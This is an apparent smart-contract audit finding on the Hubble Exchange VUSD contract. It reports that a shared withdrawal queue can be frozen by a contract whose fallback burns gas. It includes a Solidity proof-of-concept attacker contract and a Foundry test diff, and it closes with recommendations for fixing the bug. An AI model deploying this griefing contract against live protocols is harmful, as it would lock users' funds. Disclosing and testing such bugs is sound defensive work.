dirk_y

high

# Malicious user can block all withdrawals from vUSD to gas token

## Summary
A malicious user can use a malicious smart contract to block withdrawals for all users forever. Any native token locked in VUSD will be locked forever.

## Vulnerability Detail
The VUSD contract allows a user to mint hUSD/vUSD by depositing the Hubble gas token (USDC). Similarly, a user can withdraw their deposited USDC by burning the hUSD funds they hold.

The withdrawal process takes place in 2 steps. First, the user has to call `withdraw` or `withdrawTo`. These methods burn the corresponding vUSD amount from the sender and add the withdrawal to a queue. This queue is global (i.e. shared between users). The second step to finalising a withdrawal is to call `processWithdrawals`. This method loops through all of the withdrawals in the queue and calls:

```solidity
(bool success, bytes memory data) = withdrawal.usr.call{value: withdrawal.amount}("");
```

This line is the issue with this global withdrawal mechanism. A malicious user can call the `withdraw` method from a malicious contract that has a fallback method which just burns gas. Because a solidity `.call` forwards (almost) all the gas to the callee address, the malicious contract can burn all the gas with a noop. In fact, if enough gas is burnt then any calls to `processWithdrawals` will hit the block gas limit and the whole call will revert. The result is that none of the withdrawals in the queue can ever be processed.

This vulnerability is demonstrated with the following change to the existing test suite and can be easily run with `forge test -vvv --match-path test/foundry/VUSDWithReceive.t.sol`:

```diff
diff --git a/hubble-protocol/test/foundry/MaliciousContract.sol b/hubble-protocol/test/foundry/MaliciousContract.sol
new file mode 100644
index 0000000..23b49dd
--- /dev/null
+++ b/hubble-protocol/test/foundry/MaliciousContract.sol
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.9;
+
+import "../../contracts/Interfaces.sol";
+
+contract MaliciousContract {
+    // Burn gas!
+    fallback() payable external {
+        uint256 i = 0;
+        while (i < 200000) {
+            i += 1;
+        }
+        return;
+    }
+
+    function qWithdrawal(address husd, uint256 amount) public {
+        IVUSD(husd).withdraw(amount);
+    }
+}
diff --git a/hubble-protocol/test/foundry/VUSDWithReceive.t.sol b/hubble-protocol/test/foundry/VUSDWithReceive.t.sol
index 7152af4..2d859ad 100644
--- a/hubble-protocol/test/foundry/VUSDWithReceive.t.sol
+++ b/hubble-protocol/test/foundry/VUSDWithReceive.t.sol
@@ -1,36 +1,49 @@
 // SPDX-License-Identifier: UNLICENSED
 pragma solidity 0.8.9;
 import "./Utils.sol";
+import "./MaliciousContract.sol";
 
 contract VUSDWithReceiveTest is Utils {
     event WithdrawalFailed(address indexed trader, uint amount, bytes data);
 
+    MaliciousContract maliciousContract;
+
+
     function setUp() public {
         setupContracts();
+
+        // Deploy malicious contract
+        maliciousContract = new MaliciousContract();
     }
 
     function testWithdrawWithReceive(uint128 amount) public {
         vm.assume(amount >= 5e6);
-        // mint vusd for this contract
-        mintVusd(address(this), amount);
-        // alice and bob also mint vusd
-        mintVusd(alice, amount);
-        mintVusd(bob, amount);
-
-        // withdraw husd
-        husd.withdraw(amount); // first withdraw in the array
-        vm.prank(alice);
-        husd.withdraw(amount);
+        mintVusd(address(maliciousContract), amount);
+
+        // Let's say bob is malicious and uses a malicious contract to withdraw from vUSD/hUSD
         vm.prank(bob);
-        husd.withdraw(amount);
+        maliciousContract.qWithdrawal(address(husd), amount);
 
-        assertEq(husd.withdrawalQLength(), 3);
+
+        // Let's create some other users who also want to withdraw (since solidity call leaves 1/64 of gas).
+        // In this case we create 7 other users who also want to withdraw and join the queue
+        uint160 addressCounter = 1000;
+        for (uint160 i = 0; i < 7; i++) {
+            mintVusd(address(addressCounter + i), amount);
+            vm.prank(address(addressCounter + i));
+            husd.withdraw(amount);
+        }
+
+        assertEq(husd.withdrawalQLength(), 8);
         assertEq(husd.start(), 0);
 
-        husd.processWithdrawals();
+        // We expect a revert due to out of gas
+        vm.expectRevert();
+        husd.processWithdrawals{gas: 15000000}(); // Block gas limit assumed to be same as Avalanch at 15 million
 
-        assertEq(husd.withdrawalQLength(), 3);
-        assertEq(husd.start(), 3);
+        assertEq(husd.withdrawalQLength(), 8);
+        // None of the withdrawals have been processed
+        assertEq(husd.start(), 0);
     }
 
     receive() payable external {
```

## Impact
A malicious use can block all withdrawals from vUSD to the Hubble gas token (USDC). For users that haven't queued a withdrawal yet, this will mean their original USDC is locked in the contract forever, but they still have their vUSD. However, users that have already queued a withdrawal will have lost both their USDC and the corresponding vUSD that has already been burnt in the call to `withdraw`.

## Code Snippet
https://github.com/sherlock-audit/2023-04-hubble-exchange/blob/main/hubble-protocol/contracts/VUSD.sol#L65-L85

## Tool used
Manual Review

## Recommendation
If you want to continue with a 2 step withdrawal process, then each user should have their own queue. Not only does this prevent a malicious user from blocking withdrawals of all the other users, but it also means that a user doesn't have to pay the gas for other users to finalise a withdrawal.

Alternatively you could forego the queue and instead have a one step withdrawal where the vUSD is burnt and the USDC is sent in the same method.